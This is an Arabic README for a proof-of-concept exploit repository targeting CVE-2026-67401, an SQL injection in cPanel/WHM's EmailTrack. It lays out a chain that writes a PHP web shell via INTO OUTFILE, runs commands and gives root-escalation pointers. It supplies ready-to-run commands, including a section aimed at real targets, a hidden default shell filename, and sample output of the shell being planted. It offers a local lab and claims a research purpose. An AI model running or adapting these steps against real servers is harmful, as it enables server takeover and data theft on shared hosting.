CVE-2026-67401 — حقن SQL في EmailTrack في cPanel/WHM ← تنفيذ أوامر عن بُعد بصلاحيات الجذر (Root RCE)

إثبات مفهوم (Proof-of-concept) لـ CVE-2026-67401، وهي ثغرة حقن SQL حرجة في وظيفة EmailTrack في cPanel & WHM تتيح لمستخدم مُصادَق عليه يمتلك صلاحيات متعلقة بالبريد كتابة ملفات عشوائية وتنفيذ تعليمات برمجية بصلاحيات الجذر (root).

اكتُشفت بواسطة: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC أُعلن عنها: 6 أكتوبر 2026 المكوّن: EmailTrack (تسجيل / تتبّع تسليم البريد)

---

الإصدارات المتأثرة

الإصدارات الأدنى من البُنى المُصلحة عرضة للثغرة.

سلسلة إصدارات cPanel	الإصدار المُصلح
11.110	11.110.0.143
11.134	11.134.0.55
11.136	11.136.0.39
11.138	11.138.0.4
WP2 (11.138)	11.138.1.9

تحقّق من إصدارك باستخدام:

cat /usr/local/cpanel/version

سلسلة الاستغلال

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘

1. المصادقة على cPanel بحساب يمتلك صلاحيات البريد.
2. الحقن عبر معامل account في EmailTrack.
3. كتابة web shell بلغة PHP باستخدام SELECT ... INTO OUTFILE داخل public_html/.
4. تنفيذ الأوامر عبر الـ shell.
5. التصعيد عبر ثنائيات SUID في cPanel، أو cron، أو قائمة المهام.

---

محتويات المستودع

الملف	الوصف
poc_sqli.py	كشف حقن SQL: القائم على القيم المنطقية، والقائم على الوقت، وعدّ أعمدة UNION
poc_full_chain.py	سلسلة الاستغلال الكاملة: SQLi → web shell عبر INTO OUTFILE → RCE → إرشادات الوصول إلى root
lab/vuln_server.py	محاكاة محلية لخادم EmailTrack الخلفي المصاب (آمنة ومكتفية ذاتيًا)
README.md	هذا المستند

يتيح لك المختبر المرفق تشغيل والتحقق من السلسلة بأكملها دون الحاجة إلى خادم cPanel حقيقي.

---

المتطلبات

• Python 3.8+
• لا توجد حزم خارجية — كل شيء يستخدم المكتبة القياسية.

---

الاستخدام

تُنفَّذ جميع الأوامر من جذر المستودع.

1. تشغيل المختبر المحلي

python3 lab/vuln_server.py 18123 lab/htdocs

• بيانات الاعتماد: alice / s3cr1t
• يحاكي: تسجيل الدخول عبر UAPI، واستعلام EmailTrack القابل للاستغلال، وSLEEP()، وINTO OUTFILE، وتنفيذ web-shell بلغة PHP.
• الوسيط الأول: المنفذ (الافتراضي 18123)
• الوسيط الثاني: جذر المستندات (الافتراضي lab/htdocs)

اترك هذا قيد التشغيل في طرفية واحدة واستخدم طرفية ثانية لتنفيذ PoCs.

2. كشف حقن SQL

python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect

المعامل	الوصف
-H, --host	مضيف cPanel، مثل https://cp.example.com:2083
-u, --username	حساب cPanel مع صلاحيات البريد
-p, --password	كلمة مرور الحساب
--param	المعامل القابل للحقن (الافتراضي: account)
--mode	detect (الافتراضي)، boolean، timing، union، أو all
--sleep	مدة SLEEP() لفحص التوقيت (الافتراضي: 3.0)
--dump-version	محاولة استخراج إصدار DBMS عبر UNION
--insecure	تخطي التحقق من شهادة TLS

تشغيل فحص محدد:

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. سلسلة الاستغلال الكاملة

CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123

المعامل / متغير البيئة	الوصف
host (موضعي)	مضيف cPanel، أو عيّن متغير البيئة CPANEL_HOST
CPANEL_USER	حساب cPanel ذو صلاحيات البريد
CPANEL_PASS	كلمة مرور الحساب
--shell-base	عنوان URL الأساسي الذي يخدم public_html (حيث يتم الوصول إلى web shell)
--insecure	تخطي التحقق من شهادة TLS
--no-escalate	التوقف بعد RCE؛ تخطي إرشادات التصعيد إلى root
SHELL_NAME (متغير بيئة)	اسم ملف web shell (الافتراضي: .mail.cache.php)

المراحل التي تُنفَّذ تلقائيًا:

1. المصادقة إلى cPanel
2. تأكيد حقن SQL (boolean + قائم على الوقت)
3. تحديد عدد أعمدة الاستعلام عبر UNION
4. كتابة web shell بلغة PHP باستخدام SELECT ... INTO OUTFILE
5. تنفيذ الأوامر عبر الـ shell (id، whoami، تعداد SUID، …)
6. طباعة إرشادات التصعيد إلى root (SUID whmapi1، cron، قائمة المهام)

4. ضد هدف حقيقي

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

ملاحظة: القيمة الافتراضية لـ --shell-base تُزيل منفذ cPanel فقط (2082/2083) من المضيف. إذا كان جذر المستند يُقدَّم على منفذ مختلف، فاضبطه صراحةً.

---

النتائج المُتحقَّق منها

المخرجات الناتجة مقابل المختبر المُضمَّن:

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

المراجع

• حقن SQL حرج في cPanel يتيح للمهاجمين الحصول على وصول الجذر — The Daily Tech Feed
• استشارة أمنية من cPanel: CVE-2026-67401
• CWE-89: التحايد غير السليم للعناصر الخاصة المستخدمة في أمر SQL

---

الترخيص

صدر لأغراض تعليمية وأغراض البحث الأمني المصرّح به. راجع إخلاء المسؤولية قبل الاستخدام.